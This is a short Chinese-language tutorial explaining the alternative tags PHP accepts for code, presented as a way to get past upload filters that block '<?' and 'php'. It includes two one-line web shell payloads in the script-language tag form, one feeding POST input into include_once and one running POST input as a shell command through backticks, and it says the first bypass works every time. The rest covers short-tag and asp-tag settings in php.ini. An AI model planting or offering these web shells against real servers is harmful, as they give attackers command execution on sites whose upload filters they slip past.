1 前言
PHP有几种解析标签的写法来标识php代码,其中最标准的<?php ?>,当php解析器找到这个标签时,就会执行标签内部的代码,但在实际的应用时,尤其在上传对内容过滤了<?和php,在这里重点介绍一下
2 PHP代码解析标签
A 脚本标签
形式:<script language="PHP">...</script>,这种写法有点像JavaScript,不过也可以正常解析PHP代码
举例:
<script language=”PHP”>include_once(“$_POST[J_drOps]”);</script>
这样的话对于绕过过滤了<?和php的问题,屡试不爽
还有一个常用的样式,就是利用反引号执行命令(``)
<script language="PHP">echo `$_POST[id]` ;</script>
实际上反引号(``)执行的命令是调用了shell_exec()函数,我们来看具体的测试
B 短标签
<?….?>,使用短标签前需要设置php.ini中设置short_open_tage=on,默认是on状态。
C asp标签
<%…%>,在PHP3.0.4版本后可用,需要在php.ini中设置asp_tags=on,默认是off